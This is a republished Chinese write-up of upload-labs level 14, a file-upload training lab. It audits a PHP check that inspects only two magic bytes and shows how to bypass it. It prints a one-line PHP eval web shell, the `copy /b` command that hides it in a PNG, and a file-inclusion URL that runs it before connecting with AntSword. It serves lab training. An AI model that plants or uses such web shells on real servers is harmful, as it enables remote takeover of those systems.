upload-labs第14关

news2024/10/6 18:25:20

upload-labs第14关

  • 第十四关
    • 一、源代码分析
      • 代码审计
    • 二、绕过分析
      • a. 制作图片码
        • 首先需要一个照片,然后其次需要一个eval.php。
      • b.上传图片码
        • 上传成功
      • c.结合文件包含漏洞进行访问
        • 访问:http://192.168.1.110/upload-labs-master/include.php?file=http://192.168.1.110/upload-labs-master/upload/9220240621094414.png![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/10250b0b223e435680291f5306038f67.png)### d.使用中国蚁剑进行连接


第十四关

一、源代码分析

代码审计

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

在getReailFileType()函数中,对图片的头部进行了判断,图片的头部对定义特定的图片类型,所以我们在制作图片码的时候不能再头部进行改动。所以可以选择制作图片码进行绕过。

二、绕过分析

a. 制作图片码

首先需要一个照片,然后其次需要一个eval.php。

eval.php代码如下:

<?php @eval($_POST['cmd']); ?>

在windows上创建图片码

copy 1.png/b + eval.php/b c.png
/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件
/a:指定以ascii格式复制、合并文件用于txt等文本类文件

在这里插入图片描述

b.上传图片码

上传成功

在这里插入图片描述

c.结合文件包含漏洞进行访问

访问:http://192.168.1.110/upload-labs-master/include.php?file=http://192.168.1.110/upload-labs-master/upload/9220240621094414.png在这里插入图片描述### d.使用中国蚁剑进行连接

在这里插入图片描述


15、16关和14关是一样的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1862467.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SNEC天合储能秀:全球首发多元场景一站式工商业储能融合解决方案

6月13日-15日&#xff0c;SNEC2024光伏与智慧能源展在上海隆重举行&#xff0c;来自全球95个国家和地区3000家国内外展商齐聚展会&#xff0c;5000行业专家共话产业发展。致力于成为全球光储智慧能源解决方案的领导者&#xff0c;天合光能&#xff08;展位号&#xff1a;7.2H-E…

LiveMedia视频汇聚平台的设备管理功能

LiveMedia视频汇聚平台的设备管理功能是实现视频资源有效管理和控制的关键组成部分。以下是设备管理功能的详细介绍&#xff1a; 设备接入与管理&#xff1a; 设备添加与编辑&#xff1a;平台支持添加、编辑与删除设备&#xff0c;可编辑的信息包括设备接入的协议类型、服务节…

ICASSP论文结构研究

MLCA-AVSR 基于多层交叉注意融合的视听语音识别 ABSTRACT 目标任务现状、目前研究现状(研究大方向、研究的欠缺)、本文方法、方法效果(排名、分数) 有一个Index Terms INTRODUCTION 目标任务的简单发展历程与发展现状&#xff0c;目前任务的难点&#xff0c;指出为什么会…

代码随想录-Day39

62. 不同路径 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish” &#xff09;。 问总共有多少条不同的路径&…

Gradle学习-2 Groovy

1、Groovy基础语法 1.1、基本数据类型 Groovy支持数据类型&#xff1a;byte, short, int, long, float, double, char &#xff08;1&#xff09;创建一个Android Studio项目 &#xff08;2&#xff09;在根目录新建一个 leon.gradle&#xff0c;输入以下内容 leon.gradle…

Netty学习(二)——黏包半包、协议设计解析、聊天室

一、粘包与半包 1.1 粘包和半包复现 1、粘包复现&#xff1a; Server代码&#xff1a; public class ProblemServer {public static void main(String[] args) throws InterruptedException {new ServerBootstrap()//若是指定接收缓冲区大小&#xff1a;就会出现黏包、半包…

计算机基础知识——面向对象:封装+继承+多态整理

面向对象三大特性&#xff1a;封装、继承、多态。 1.封装 将一系列相关事物的共同的属性和行为提取出来&#xff0c;放到一个类中&#xff0c;同时隐藏对象的属性和实现细节&#xff0c;仅对外提供公共的访问方式。 【JavaBean类就可以看作是封装的完美案例。】 setter和get…

电磁兼容试验数据的单位转换 笔记

1. 单位dB 的介绍 分贝&#xff08;decibel&#xff0c;/dɛsɪ.bɛl/&#xff09;是量度两个相同单位之数量比例的计量单位&#xff0c;主要用于度量声音强度&#xff0c;常用dB表示。 分贝是较常用的计量单位。可表示为&#xff1a; 1. 表示功率量之比的一种单位&#xff0c…

作业6.20

1.已知网址www.hqyj.com截取出网址的每一个部分(要求&#xff0c;该网址不能存入文件中) 2.将配置桥接网络的过程整理成文档&#xff0c;发csdn 步骤i&#xff1a;在虚拟机设置中启用桥接模式 1. 打开VMware虚拟机软件。 2. 选择您想要配置的虚拟机&#xff0c;点击菜单栏中的“…

正版软件 | Copywhiz 6:革新您的文件复制、备份与管理体验

在数字化时代&#xff0c;文件管理的效率直接影响到我们的生产力。Copywhiz 6 最新版本&#xff0c;带来了前所未有的文件处理能力&#xff0c;让复制、备份和组织文件变得轻而易举。 智能选择&#xff0c;只复制更新内容 Copywhiz 6 的智能选择功能&#xff0c;让您只需几次点…

PDF编辑软件pdf转word工具Acrobat DC百度云盘分享

如大家所了解的&#xff0c;Adobe Acrobat DC是一款高级PDF文档编辑和管理软件&#xff0c;它整合了创建、编辑、共享和签署PDF文件的强大功能。这款软件为用户提供了一系列高效的工具&#xff0c;使得处理PDF文件变得异常简单&#xff0c;大幅提升办公效率。 Acrobat DC软件核…

【实用软件】Internet Download Manager(IDM6.41)下载及安装教程

​数据表明但是能够通过搭配下载的方式来使用IDM&#xff08;比如用迅雷离线下载&#xff0c;115离线&#xff0c;百度网盘等离线下载好的资源&#xff0c;然后结合HTTP协议的特性再用IDM下载&#xff09;能够达到事半功倍的效果。有目共睹的是IDM下载HTTP链接十分快&#xff0…

ctr/cvr预估之DeepFM模型

ctr/cvr预估之DeepFM模型 在数字营销的浪潮中&#xff0c;点击率&#xff08;CTR&#xff09;和转化率&#xff08;CVR&#xff09;预估已成为精准广告投放和个性化推荐系统的核心。随着深度学习技术的蓬勃发展&#xff0c;传统的机器学习方法&#xff0c;如逻辑回归和因子分解…

26.高级特性(上)

目录 一、不安全的Rust二、不安全的超能力2.1 概念2.2 解引用裸指针2.3 调用不安全的函数或方法2.3 创建不安全代码的安全抽象2.4 使用extern函数调用外部代码2.5 访问或修改可变静态变量2.6 实现不安全trait2.7 访问联合体中的字段 三、高级trait3.1 关联类型在trait定义中指定…

沙姆镜头标定与重建

沙姆定律&#xff08; Scheimpflug principle&#xff09;则可以保证测量平面的物体能够清晰成像&#xff0c; 因此能够起到调整景深区域位置的作用。Scheimpflug 镜头就是根据沙姆定律所设计的一种特殊的镜头&#xff0c;通过机械结构使镜头与相机本体发生一定程度的偏转&…

网络爬虫Xpath开发工具的使用

开发人员在编写网络爬虫程序时若遇到解析网页数据的问题&#xff0c;则需要花费大量的时间编 写与测试路径表达式&#xff0c;以确认是否可以解析出所需要的数据。为帮助开发人员在网页上直接 测试路径表达式是否正确&#xff0c;我们在这里推荐一款比较好用的 XPath 开发工…

vue:响应式原理解析,深入理解vue的响应式系统

一、文章秒读 vue的响应式系统核心有两个&#xff0c;简单描述就是&#xff1a; 1.在数据变化时重新render依赖相关函数&#xff08;组件&#xff09;。 2.在vue2和vue3中分别使用Object.defineProperty和Proxy进行对象属性的读写。 数据变化时&#xff1a; 二、什么是响应…

123.网络游戏逆向分析与漏洞攻防-邮件系统数据分析-收邮件功能的完善与优化

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 如果看不懂、不知道现在做的什么&#xff0c;那就跟着做完看效果&#xff0c;代码看不懂是正常的&#xff0c;只要会抄就行&#xff0c;抄着抄着就能懂了 内容…

DDD学习笔记一

DDD的基本原则 &#xff08;1&#xff09;保持语言、模型、代码三者一致 语言&#xff1a;开发团队与领域专家沟通使用的自然语言。因为它与设计模型、代码是一致的&#xff0c;所以也称为通用语言。 模型&#xff1a;设计的输出物&#xff0c;是对领域逻辑的精准建模。模型会…

多供应商食品零售商城系统的会员营销设计和实现

在多供应商食品零售商城系统中&#xff0c;会员营销是提升用户粘性和增加销售的重要手段。一个有效的会员营销系统能够帮助平台更好地了解用户需求&#xff0c;提供个性化服务&#xff0c;进而提高用户满意度和忠诚度。本文将详细探讨多供应商食品零售商城系统的会员营销设计与…